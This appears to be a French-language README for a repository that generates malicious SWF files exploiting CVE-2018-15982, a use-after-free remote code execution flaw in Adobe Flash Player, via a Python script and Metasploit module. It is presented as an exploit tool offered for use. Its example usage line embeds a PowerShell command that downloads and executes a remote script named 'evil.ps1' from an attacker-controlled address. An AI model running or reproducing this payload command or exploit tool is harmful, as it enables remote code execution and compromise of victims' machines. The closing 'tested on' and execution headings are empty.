kphongagsorn/adobe-flash-cve2018-15982Module Metasploit et script Python pour générer des charges utiles SWF exploitant CVE-2018-15982, une vulnérabilité use-after-free dans Adobe Flash Player permettant l'exécution de code à distance.
Ce script crée une charge utile swf pour CVE-2018-15982, qui est basée sur le PoC de https://github.com/smgorelik/Windows-RCE-exploits. La vulnérabilité a été découverte par Chenming Xu et Ed Miles de Gigamon ATR.
La vulnérabilité est un défaut de type use-after-free permettant l'exécution de code arbitraire dans Flash. Plus d'informations se trouvent dans les liens ci-dessous.
Note : Actuellement, je ne pulvérise qu'un seul bloc, j'ai remarqué cela après avoir créé le script.
Usage:
python create_swf.py <command> <output file name>
Example Usage:
python create_swf.py "powershell.exe IEX (iwr 'http://192.168.56.101/evil.ps1')" downloadtest.swf
Tested on:
Create payload:
Executing payload:
Confirm execution:
